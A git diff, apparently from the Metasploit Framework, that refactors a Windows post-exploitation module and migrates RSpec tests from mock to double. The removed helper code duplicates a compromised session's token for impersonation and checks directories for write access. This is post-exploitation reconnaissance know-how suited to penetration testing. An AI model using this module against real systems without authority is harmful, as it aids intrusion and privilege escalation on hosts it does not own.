def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -40,60 +41,6 @@ class Metasploit3 < Msf::Post
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_imperstoken
|
|
||||||
adv = session.railgun.advapi32
|
|
||||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
|
||||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
|
||||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
|
||||||
|
|
||||||
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
|
|
||||||
#p = kern.GetCurrentProcess() #get handle to current process
|
|
||||||
pid = session.sys.process.open.pid
|
|
||||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
||||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
|
||||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
|
||||||
if it["return"] #if it fails return 0 for error handling
|
|
||||||
return it["DuplicateTokenHandle"]
|
|
||||||
else
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def check_dir(dir, token)
|
|
||||||
# If path doesn't exist, do not continue
|
|
||||||
begin
|
|
||||||
session.fs.dir.entries(dir)
|
|
||||||
rescue => e
|
|
||||||
vprint_error("#{e.message}: #{dir}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
adv = session.railgun.advapi32
|
|
||||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
|
||||||
result = ""
|
|
||||||
|
|
||||||
#define generic mapping structure
|
|
||||||
gen_map = [0,0,0,0]
|
|
||||||
gen_map = gen_map.pack("L")
|
|
||||||
|
|
||||||
#get Security Descriptor for the directory
|
|
||||||
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
|
|
||||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
|
||||||
sd = f["pSecurityDescriptor"]
|
|
||||||
|
|
||||||
#check for write access, called once to get buffer size
|
|
||||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
|
||||||
len = a["PrivilegeSetLength"]
|
|
||||||
|
|
||||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
|
||||||
if !r["return"] then return nil end
|
|
||||||
if r["GrantedAccess"] > 0 then result << "R" end
|
|
||||||
|
|
||||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
|
||||||
if !w["return"] then return nil end
|
|
||||||
if w["GrantedAccess"] > 0 then result << "W" end
|
|
||||||
end
|
|
||||||
|
|
||||||
def enum_subdirs(perm_filter, dpath, maxdepth, token)
|
def enum_subdirs(perm_filter, dpath, maxdepth, token)
|
||||||
filter = datastore['FILTER']
|
filter = datastore['FILTER']
|
||||||
filter = nil if datastore['FILTER'] == 'NA'
|
filter = nil if datastore['FILTER'] == 'NA'
|
||||||
|
@ -110,7 +57,7 @@ class Metasploit3 < Msf::Post
|
||||||
next if d =~ /^(\.|\.\.)$/
|
next if d =~ /^(\.|\.\.)$/
|
||||||
realpath = dpath + '\\' + d
|
realpath = dpath + '\\' + d
|
||||||
if session.fs.file.stat(realpath).directory?
|
if session.fs.file.stat(realpath).directory?
|
||||||
perm = check_dir(realpath, token)
|
perm = check_dir_perms(realpath, token)
|
||||||
if perm_filter and perm and perm.include?(perm_filter)
|
if perm_filter and perm and perm.include?(perm_filter)
|
||||||
print_status(perm + "\t" + realpath)
|
print_status(perm + "\t" + realpath)
|
||||||
end
|
end
|
||||||
|
@ -144,7 +91,7 @@ class Metasploit3 < Msf::Post
|
||||||
t = get_imperstoken()
|
t = get_imperstoken()
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
# Failure due to timeout, access denied, etc.
|
# Failure due to timeout, access denied, etc.
|
||||||
t = 0
|
t = nil
|
||||||
vprint_error("Error #{e.message} while using get_imperstoken()")
|
vprint_error("Error #{e.message} while using get_imperstoken()")
|
||||||
vprint_error(e.backtrace)
|
vprint_error(e.backtrace)
|
||||||
end
|
end
|
||||||
|
@ -158,7 +105,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
print_status("Checking directory permissions from: #{path}")
|
print_status("Checking directory permissions from: #{path}")
|
||||||
|
|
||||||
perm = check_dir(path, token)
|
perm = check_dir_perms(path, token)
|
||||||
if not perm.nil?
|
if not perm.nil?
|
||||||
# Show the permission of the parent directory
|
# Show the permission of the parent directory
|
||||||
if perm_filter and perm.include?(perm_filter)
|
if perm_filter and perm.include?(perm_filter)
|
||||||
|
@ -188,7 +135,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
t = get_token
|
t = get_token
|
||||||
|
|
||||||
if t == 0
|
unless t
|
||||||
print_error("Getting impersonation token failed")
|
print_error("Getting impersonation token failed")
|
||||||
else
|
else
|
||||||
print_status("Got token: #{t.to_s}...")
|
print_status("Got token: #{t.to_s}...")
|
||||||
|
|
|
@ -82,7 +82,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should yield #connection' do
|
it 'should yield #connection' do
|
||||||
connection = mock('Connection')
|
connection = double('Connection')
|
||||||
connection_pool.stub(:connection => connection)
|
connection_pool.stub(:connection => connection)
|
||||||
|
|
||||||
expect { |block|
|
expect { |block|
|
||||||
|
|
|
@ -15,7 +15,7 @@ describe Msf::Exploit::Remote::HttpServer do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:mock_service) do
|
let(:mock_service) do
|
||||||
mock_service = mock("service")
|
mock_service = double("service")
|
||||||
mock_service.stub(:server_name=)
|
mock_service.stub(:server_name=)
|
||||||
mock_service.stub(:add_resource)
|
mock_service.stub(:add_resource)
|
||||||
|
|
||||||
|
|
|
@ -24,7 +24,7 @@ describe Msf::Modules::Loader::Archive do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:framework) do
|
let(:framework) do
|
||||||
mock('Framework')
|
double('Framework')
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:module_extension) do
|
let(:module_extension) do
|
||||||
|
|
|
@ -122,7 +122,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'loader' do
|
context 'loader' do
|
||||||
it 'should be a read/write attribute' do
|
it 'should be a read/write attribute' do
|
||||||
loader = mock('Loader')
|
loader = double('Loader')
|
||||||
namespace_module.loader = loader
|
namespace_module.loader = loader
|
||||||
|
|
||||||
namespace_module.loader.should == loader
|
namespace_module.loader.should == loader
|
||||||
|
@ -133,7 +133,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should capture the lexical scope' do
|
it 'should capture the lexical scope' do
|
||||||
expect {
|
expect {
|
||||||
namespace_module.module_eval_with_lexical_scope(module_content, module_path)
|
namespace_module.module_eval_with_lexical_scope(module_content, module_path)
|
||||||
}.to_not raise_error(NameError)
|
}.to_not raise_error
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with malformed module content' do
|
context 'with malformed module content' do
|
||||||
|
@ -155,7 +155,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'parent_path' do
|
context 'parent_path' do
|
||||||
it 'should be a read/write attribute' do
|
it 'should be a read/write attribute' do
|
||||||
parent_path = mock('Parent Path')
|
parent_path = double('Parent Path')
|
||||||
namespace_module.parent_path = parent_path
|
namespace_module.parent_path = parent_path
|
||||||
|
|
||||||
namespace_module.parent_path.should == parent_path
|
namespace_module.parent_path.should == parent_path
|
||||||
|
@ -221,7 +221,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'instance methods' do
|
context 'instance methods' do
|
||||||
let(:module_manager) do
|
let(:module_manager) do
|
||||||
mock('Module Manager', :module_load_error_by_path => {})
|
double('Module Manager', :module_load_error_by_path => {})
|
||||||
end
|
end
|
||||||
|
|
||||||
subject do
|
subject do
|
||||||
|
@ -317,7 +317,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
module_manager.stub(:delete).with(module_reference_name)
|
module_manager.stub(:delete).with(module_reference_name)
|
||||||
module_manager.stub(:file_changed?).with(module_path).and_return(true)
|
module_manager.stub(:file_changed?).with(module_path).and_return(true)
|
||||||
|
|
||||||
module_set = mock('Module Set')
|
module_set = double('Module Set')
|
||||||
module_set.stub(:delete).with(module_reference_name)
|
module_set.stub(:delete).with(module_reference_name)
|
||||||
module_manager.stub(:module_set).with(type).and_return(module_set)
|
module_manager.stub(:module_set).with(type).and_return(module_set)
|
||||||
end
|
end
|
||||||
|
@ -372,11 +372,11 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'with errors from namespace_module_eval_with_lexical_scope' do
|
context 'with errors from namespace_module_eval_with_lexical_scope' do
|
||||||
before(:each) do
|
before(:each) do
|
||||||
@namespace_module = mock('Namespace Module')
|
@namespace_module = double('Namespace Module')
|
||||||
@namespace_module.stub(:parent_path=)
|
@namespace_module.stub(:parent_path=)
|
||||||
|
|
||||||
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
|
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
|
||||||
module_content = mock('Module Content', :empty? => false)
|
module_content = double('Module Content', :empty? => false)
|
||||||
subject.stub(:read_module_content).and_return(module_content)
|
subject.stub(:read_module_content).and_return(module_content)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -471,11 +471,11 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'without module_eval errors' do
|
context 'without module_eval errors' do
|
||||||
before(:each) do
|
before(:each) do
|
||||||
@namespace_module = mock('Namespace Module')
|
@namespace_module = double('Namespace Module')
|
||||||
@namespace_module.stub(:parent_path=)
|
@namespace_module.stub(:parent_path=)
|
||||||
@namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path)
|
@namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path)
|
||||||
|
|
||||||
metasploit_class = mock('Metasploit Class', :parent => @namespace_module)
|
metasploit_class = double('Metasploit Class', :parent => @namespace_module)
|
||||||
@namespace_module.stub(:metasploit_class! => metasploit_class)
|
@namespace_module.stub(:metasploit_class! => metasploit_class)
|
||||||
|
|
||||||
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
|
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
|
||||||
|
@ -574,7 +574,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'with metasploit_class' do
|
context 'with metasploit_class' do
|
||||||
let(:metasploit_class) do
|
let(:metasploit_class) do
|
||||||
mock('Metasploit Class')
|
double('Metasploit Class')
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:each) do
|
before(:each) do
|
||||||
|
@ -727,7 +727,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
anything
|
anything
|
||||||
)
|
)
|
||||||
|
|
||||||
namespace_module = mock('Namespace Module')
|
namespace_module = double('Namespace Module')
|
||||||
namespace_module.stub(:loader=)
|
namespace_module.stub(:loader=)
|
||||||
subject.stub(:current_module => namespace_module)
|
subject.stub(:current_module => namespace_module)
|
||||||
|
|
||||||
|
@ -743,7 +743,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
anything
|
anything
|
||||||
)
|
)
|
||||||
|
|
||||||
namespace_module = mock('Namespace Module')
|
namespace_module = double('Namespace Module')
|
||||||
namespace_module.stub(:loader=)
|
namespace_module.stub(:loader=)
|
||||||
subject.stub(:current_module => namespace_module)
|
subject.stub(:current_module => namespace_module)
|
||||||
|
|
||||||
|
@ -759,7 +759,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length
|
described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length
|
||||||
)
|
)
|
||||||
|
|
||||||
namespace_module = mock('Namespace Module')
|
namespace_module = double('Namespace Module')
|
||||||
namespace_module.stub(:loader=)
|
namespace_module.stub(:loader=)
|
||||||
subject.stub(:current_module => namespace_module)
|
subject.stub(:current_module => namespace_module)
|
||||||
|
|
||||||
|
@ -767,7 +767,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should set the namespace_module's module loader to itself" do
|
it "should set the namespace_module's module loader to itself" do
|
||||||
namespace_module = mock('Namespace Module')
|
namespace_module = double('Namespace Module')
|
||||||
|
|
||||||
namespace_module.should_receive(:loader=).with(subject)
|
namespace_module.should_receive(:loader=).with(subject)
|
||||||
|
|
||||||
|
@ -1173,7 +1173,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
# not defined on `nil`.
|
# not defined on `nil`.
|
||||||
expect {
|
expect {
|
||||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||||
}.to_not raise_error(NoMethodError)
|
}.to_not raise_error
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with namespace_module nil' do
|
context 'with namespace_module nil' do
|
||||||
|
@ -1292,7 +1292,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
context '#usable?' do
|
context '#usable?' do
|
||||||
context 'without metasploit_class responding to is_usable' do
|
context 'without metasploit_class responding to is_usable' do
|
||||||
it 'should return true' do
|
it 'should return true' do
|
||||||
metasploit_class = mock('Metasploit Class')
|
metasploit_class = double('Metasploit Class')
|
||||||
metasploit_class.should_not respond_to(:is_usable)
|
metasploit_class.should_not respond_to(:is_usable)
|
||||||
|
|
||||||
subject.send(:usable?, metasploit_class).should be_true
|
subject.send(:usable?, metasploit_class).should be_true
|
||||||
|
@ -1303,7 +1303,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
it 'should delegate to metasploit_class.is_usable' do
|
it 'should delegate to metasploit_class.is_usable' do
|
||||||
# not a proper return, but guarantees that delegation is actually happening
|
# not a proper return, but guarantees that delegation is actually happening
|
||||||
usability = 'maybe'
|
usability = 'maybe'
|
||||||
metasploit_class = mock('Metasploit Class', :is_usable => usability)
|
metasploit_class = double('Metasploit Class', :is_usable => usability)
|
||||||
|
|
||||||
subject.send(:usable?, metasploit_class).should == usability
|
subject.send(:usable?, metasploit_class).should == usability
|
||||||
end
|
end
|
||||||
|
@ -1314,7 +1314,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:metasploit_class) do
|
let(:metasploit_class) do
|
||||||
metasploit_class = mock('Metasploit Class')
|
metasploit_class = double('Metasploit Class')
|
||||||
|
|
||||||
metasploit_class.stub(:is_usable).and_raise(error)
|
metasploit_class.stub(:is_usable).and_raise(error)
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ describe Msf::Modules::Loader::Directory do
|
||||||
include_context 'Msf::Modules::Loader::Base'
|
include_context 'Msf::Modules::Loader::Base'
|
||||||
|
|
||||||
let(:module_manager) do
|
let(:module_manager) do
|
||||||
mock('Module Manager')
|
double('Module Manager')
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:module_path) do
|
let(:module_path) do
|
||||||
|
@ -28,9 +28,9 @@ describe Msf::Modules::Loader::Directory do
|
||||||
context '#load_module' do
|
context '#load_module' do
|
||||||
context 'with existent module_path' do
|
context 'with existent module_path' do
|
||||||
let(:framework) do
|
let(:framework) do
|
||||||
framework = mock('Msf::Framework', :datastore => {})
|
framework = double('Msf::Framework', :datastore => {})
|
||||||
|
|
||||||
events = mock('Events')
|
events = double('Events')
|
||||||
events.stub(:on_module_load)
|
events.stub(:on_module_load)
|
||||||
events.stub(:on_module_created)
|
events.stub(:on_module_created)
|
||||||
framework.stub(:events => events)
|
framework.stub(:events => events)
|
||||||
|
|
|
@ -229,7 +229,7 @@ describe Msf::Modules::Namespace do
|
||||||
it 'should not raise an error' do
|
it 'should not raise an error' do
|
||||||
expect {
|
expect {
|
||||||
subject.version_compatible!(module_path, module_reference_name)
|
subject.version_compatible!(module_path, module_reference_name)
|
||||||
}.to_not raise_error(Msf::Modules::VersionCompatibilityError)
|
}.to_not raise_error
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,12 +5,12 @@ require 'msf/core/option_container'
|
||||||
|
|
||||||
describe Msf::OptionContainer do
|
describe Msf::OptionContainer do
|
||||||
it "should create new options for it's args" do
|
it "should create new options for it's args" do
|
||||||
foo_inst = mock("foo_inst")
|
foo_inst = double("foo_inst")
|
||||||
foo_inst.stub(:advanced=)
|
foo_inst.stub(:advanced=)
|
||||||
foo_inst.stub(:evasion=)
|
foo_inst.stub(:evasion=)
|
||||||
foo_inst.stub(:owner=)
|
foo_inst.stub(:owner=)
|
||||||
|
|
||||||
foo_class = mock("opt_class")
|
foo_class = double("opt_class")
|
||||||
foo_class.should_receive(:new).and_return(foo_inst)
|
foo_class.should_receive(:new).and_return(foo_inst)
|
||||||
|
|
||||||
foo_inst.should_receive(:name).and_return("thing")
|
foo_inst.should_receive(:name).and_return("thing")
|
||||||
|
|
|
@ -158,7 +158,7 @@ describe Msf::DBManager do
|
||||||
let(:module_instance) do
|
let(:module_instance) do
|
||||||
name = 'multi/handler'
|
name = 'multi/handler'
|
||||||
|
|
||||||
mock(
|
double(
|
||||||
'Msf::Module',
|
'Msf::Module',
|
||||||
:fullname => "exploit/#{name}",
|
:fullname => "exploit/#{name}",
|
||||||
:framework => framework,
|
:framework => framework,
|
||||||
|
@ -268,7 +268,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
context 'with workspace from either :workspace or session' do
|
context 'with workspace from either :workspace or session' do
|
||||||
it 'should pass normalized host from session as :host to #find_or_create_host' do
|
it 'should pass normalized host from session as :host to #find_or_create_host' do
|
||||||
normalized_host = mock('Normalized Host')
|
normalized_host = double('Normalized Host')
|
||||||
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
|
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
|
||||||
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
|
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
|
||||||
db_manager.stub(:report_vuln)
|
db_manager.stub(:report_vuln)
|
||||||
|
@ -583,7 +583,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
context 'without Msf::Session' do
|
context 'without Msf::Session' do
|
||||||
let(:session) do
|
let(:session) do
|
||||||
mock('Not a Msf::Session')
|
double('Not a Msf::Session')
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should raise ArgumentError' do
|
it 'should raise ArgumentError' do
|
||||||
|
|
|
@ -108,7 +108,7 @@ describe Rex::Proto::Http::Client do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should send creds after receiving a 401" do
|
it "should send creds after receiving a 401" do
|
||||||
conn = mock
|
conn = double
|
||||||
conn.stub(:put)
|
conn.stub(:put)
|
||||||
conn.stub(:shutdown)
|
conn.stub(:shutdown)
|
||||||
conn.stub(:close)
|
conn.stub(:close)
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
module Shoulda # :nodoc:
|
||||||
|
module Matchers
|
||||||
|
module ActiveRecord # :nodoc:
|
||||||
|
|
||||||
|
# Ensures that the number of database queries is known. Rails 3.1 or greater is required.
|
||||||
|
#
|
||||||
|
# Options:
|
||||||
|
# * <tt>when_calling</tt> - Required, the name of the method to examine.
|
||||||
|
# * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine.
|
||||||
|
# * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times.
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# it { should query_the_database(4.times).when_calling(:complicated_counting_method)
|
||||||
|
# it { should query_the_database(4.times).or_less.when_calling(:generate_big_report)
|
||||||
|
# it { should_not query_the_database.when_calling(:cached_count)
|
||||||
|
#
|
||||||
|
def query_the_database(times = nil)
|
||||||
|
QueryTheDatabaseMatcher.new(times)
|
||||||
|
end
|
||||||
|
|
||||||
|
class QueryTheDatabaseMatcher # :nodoc:
|
||||||
|
def initialize(times)
|
||||||
|
@queries = []
|
||||||
|
@options = {}
|
||||||
|
|
||||||
|
if times.respond_to?(:count)
|
||||||
|
@options[:expected_query_count] = times.count
|
||||||
|
else
|
||||||
|
@options[:expected_query_count] = times
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def when_calling(method_name)
|
||||||
|
@options[:method_name] = method_name
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
def with(*method_arguments)
|
||||||
|
@options[:method_arguments] = method_arguments
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
def or_less
|
||||||
|
@options[:expected_count_is_maximum] = true
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
def matches?(subject)
|
||||||
|
subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload|
|
||||||
|
@queries << payload unless filter_query(payload)
|
||||||
|
end
|
||||||
|
|
||||||
|
if @options[:method_arguments]
|
||||||
|
subject.send(@options[:method_name], *@options[:method_arguments])
|
||||||
|
else
|
||||||
|
subject.send(@options[:method_name])
|
||||||
|
end
|
||||||
|
|
||||||
|
ActiveSupport::Notifications.unsubscribe(subscriber)
|
||||||
|
|
||||||
|
if @options[:expected_count_is_maximum]
|
||||||
|
@queries.length <= @options[:expected_query_count]
|
||||||
|
elsif @options[:expected_query_count].present?
|
||||||
|
@queries.length == @options[:expected_query_count]
|
||||||
|
else
|
||||||
|
@queries.length > 0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message_for_should
|
||||||
|
if @options.key?(:expected_query_count)
|
||||||
|
"Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||||
|
else
|
||||||
|
"Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def failure_message_for_should_not
|
||||||
|
if @options[:expected_query_count]
|
||||||
|
"Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||||
|
else
|
||||||
|
"Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def friendly_queries
|
||||||
|
@queries.map do |query|
|
||||||
|
"\n (#{query[:name]}) #{query[:sql]}"
|
||||||
|
end.join
|
||||||
|
end
|
||||||
|
|
||||||
|
def filter_query(query)
|
||||||
|
query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql])
|
||||||
|
end
|
||||||
|
|
||||||
|
def schema_terms
|
||||||
|
['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction']
|
||||||
|
end
|
||||||
|
|
||||||
|
def looks_like_schema?(sql)
|
||||||
|
schema_terms.any? { |term| sql.include?(term) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,6 +1,6 @@
|
||||||
shared_context 'Msf::UIDriver' do
|
shared_context 'Msf::UIDriver' do
|
||||||
let(:driver) do
|
let(:driver) do
|
||||||
mock(
|
double(
|
||||||
'Driver',
|
'Driver',
|
||||||
:framework => framework
|
:framework => framework
|
||||||
).tap { |driver|
|
).tap { |driver|
|
||||||
|
|
|
@ -319,7 +319,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
|
||||||
|
|
||||||
context 'with :workspace' do
|
context 'with :workspace' do
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
mock(':workspace')
|
double(':workspace')
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:each) do
|
before(:each) do
|
||||||
|
@ -469,7 +469,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
|
||||||
context 'specialization block' do
|
context 'specialization block' do
|
||||||
let(:returned_hash) do
|
let(:returned_hash) do
|
||||||
{
|
{
|
||||||
:specialized => mock('Value')
|
:specialized => double('Value')
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -21,7 +21,7 @@ shared_examples_for 'Msf::DBManager::Migration' do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do
|
it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do
|
||||||
migrations = [mock('Migration 1')]
|
migrations = [double('Migration 1')]
|
||||||
ActiveRecord::Migrator.stub(:migrate => migrations)
|
ActiveRecord::Migrator.stub(:migrate => migrations)
|
||||||
|
|
||||||
migrate.should == migrations
|
migrate.should == migrations
|
||||||
|
@ -128,7 +128,7 @@ shared_examples_for 'Msf::DBManager::Migration' do
|
||||||
descendants = []
|
descendants = []
|
||||||
|
|
||||||
1.upto(2) do |i|
|
1.upto(2) do |i|
|
||||||
descendants << mock("Descendant #{i}")
|
descendants << double("Descendant #{i}")
|
||||||
end
|
end
|
||||||
|
|
||||||
ActiveRecord::Base.stub(:descendants => descendants)
|
ActiveRecord::Base.stub(:descendants => descendants)
|
||||||
|
|
|
@ -73,11 +73,11 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:class_or_module) do
|
let(:class_or_module) do
|
||||||
mock('Class<Msf::Module> or Module', :parent => namespace_module)
|
double('Class<Msf::Module> or Module', :parent => namespace_module)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:namespace_module) do
|
let(:namespace_module) do
|
||||||
mock('Msf::Modules::Namespace', :parent_path => parent_path)
|
double('Msf::Modules::Namespace', :parent_path => parent_path)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with existing :path' do
|
context 'with existing :path' do
|
||||||
|
@ -435,7 +435,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||||
|
|
||||||
context 'with reference_name' do
|
context 'with reference_name' do
|
||||||
before(:each) do
|
before(:each) do
|
||||||
typed_module_set[reference_name] = mock('Msf::Module')
|
typed_module_set[reference_name] = double('Msf::Module')
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not change reference_name value' do
|
it 'should not change reference_name value' do
|
||||||
|
@ -469,7 +469,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||||
|
|
||||||
it 'should reset #module_info_by_path' do
|
it 'should reset #module_info_by_path' do
|
||||||
# pre-fill module_info_by_path so change can be detected
|
# pre-fill module_info_by_path so change can be detected
|
||||||
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
|
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
|
||||||
|
|
||||||
module_info_by_path_from_database!
|
module_info_by_path_from_database!
|
||||||
|
|
||||||
|
|
|
@ -91,7 +91,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:namespace_module) do
|
let(:namespace_module) do
|
||||||
mock('Namespace Module', :parent_path => parent_path)
|
double('Namespace Module', :parent_path => parent_path)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:options) do
|
let(:options) do
|
||||||
|
|
Loading…
Reference in New Issue